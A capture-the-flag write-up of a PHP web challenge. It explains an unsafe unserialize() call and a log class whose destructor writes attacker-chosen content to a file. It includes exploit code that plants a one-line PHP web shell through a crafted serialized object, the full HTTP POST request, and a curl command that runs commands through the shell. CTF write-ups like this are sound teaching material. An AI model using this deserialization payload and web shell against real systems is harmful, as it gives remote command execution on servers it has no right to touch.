category

web - medium

solution

The challenge URL drops us on a page where we can submit cereals.

We are also given two files to download, index.php & log.php. I quickly spotted an unsafe deserialisation bug in the provided files. The cleaned up and relevant PHP code from both files were:

index.php

<?php

include 'log.php';

class CerealAndMilk
{
    public $logs = "request-logs.txt";
    public $request = '';
    public $cereal = 'Captain Crunch';
    public $milk = '';


    public function processed_data($output)
    {
        echo "Deserilized data:<br> Coming soon.";
        echo print_r($output);

    }

    public function cereal_and_milk()
    {
     echo $this->cereal . " is the best cereal btw.";
    }

}

$input = $_POST['serdata'];
$output = unserialize($input);

$app = new CerealAndMilk;
$app -> cereal_and_milk($output);
$app -> processed_data($output);

?>

log.php

<?php

class log
{
    public function __destruct()
        {
            $request_log = fopen($this->logs , "a");
            fwrite($request_log, $this->request);
            fwrite($request_log, "\r\n");
            fclose($request_log);
        }
}

?>

The index.php file had a line that effectively does unserialize($_POST['serdata'];) on user input. The log.php file had a class, log() that had a __destruct() method, writing contents ($this->request) to a file ($this->logs). Both the logs and request properties can be controlled with an arbitrary serialized string.

All we needed was a malicious serialized string which we can easily generate by constructing a new log() class, setting properties and calling serialize() on it.

class log
{

    public function __construct()
    {
        $this->logs = "poo.php";
        $this->request = "<?=`\$_GET[0]`?>";
    }

    public function __destruct()
        {
            $request_log = fopen($this->logs , "a");
            fwrite($request_log, $this->request);
            fwrite($request_log, "\r\n");
            fclose($request_log);
        }
}

$l = new log();
$input = serialize($l);
echo $input . PHP_EOL;

This should output the following line we can use as input to the serdata POST parameter:

O:3:"log":2:{s:4:"logs";s:7:"poo.php";s:7:"request";s:15:"<?=`$_GET[0]`?>";}

I could replicate this locally, but had trouble on the challenge service. I asked for some help from the folks over at HackSouth, and after a bunch of debugging I realised their payloads used a 4 instead of the 2 for the number of properties in the class. I’m still confused by this. Anyways. The updated payload that wrote my shell was:

O:3:"log":4:{s:4:"logs";s:7:"poo.php";s:7:"request";s:15:"<?=`$_GET[0]`?>";}
POST /index.php HTTP/1.1
Host: challenge.nahamcon.com:32469
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://challenge.nahamcon.com:32469
Connection: close
Referer: http://challenge.nahamcon.com:32469/index.php
Cookie: auth2=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; auth=eyJpZCI6MX0.YEp7Wg.fHdsxIGEolHgYQD0d_cvExass8E; 2passwordAuth=eyJpZCI6MX0.YE8cpg.H-KAOClMD0uq5M7ycSJMzLtOHoM
Upgrade-Insecure-Requests: 1

serdata=O:3:"log":4:{s:4:"logs";s:7:"poo.php";s:7:"request";s:15:"<?=`$_GET[0]`?>";}

Using the command exec I found the ndwbr7pVKNCrhs-CerealnMilk/ folder that had the flag.

$ curl "http://challenge.nahamcon.com:32469/poo.php?0=cat%20ndwbr7pVKNCrhs-CerealnMilk/flag.txt"
flag{70385676892a2a813a666961ddd6f899}